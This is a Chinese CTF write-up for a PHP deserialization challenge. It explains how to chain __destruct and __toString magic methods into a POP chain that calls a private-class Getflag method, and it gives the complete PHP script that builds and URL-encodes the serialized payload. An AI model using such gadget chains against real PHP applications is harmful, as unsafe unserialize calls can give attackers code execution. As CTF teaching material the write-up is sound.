
很明顯了 反序列化 pop
構造pop鏈,主要還是 死盯 反序列化的魔法函式
從__destruct()入手,這里echo
可以呼叫到__toString
__toString 呼叫 function Getflag()
w44m類中兩個變數并不是共有屬性(關于屬性文末有鏈接)
private:是PHP中類的私有成員
protected:是PHP中類的保護成員
所以我們就直接在類中進行賦值
如何呼叫w44m類中Getflag方法?
在w33m類中tostring方法,可以呼叫某一個類中的某一個方法,
因此可以給w33m類中的兩個變數w00m=w44m類名,w22m=Getflag方法
如何呼叫w33m類呢?
destruct在物件被銷毀時呼叫,所以給w22m類中的變數w00m一個類w33m就可以呼叫
pop鏈(在學校機房寫的沒有環境,找的php在線編譯)

有私有屬性的一定要url編碼一下,會有不可見字符


完整pop鏈
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$p = new w22m();
$p->w00m = new w33m();
$p->w00m->w00m=new w44m();
$p->w00m->w22m='Getflag';
echo urlencode(serialize($p));
?>
不了解屬性的可以看看PHP類中public、protected、private的區別 PHP類中public、protected、private實體代碼
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/553598.html
標籤:其他
上一篇:Loki 日志收集系統
下一篇:返回列表
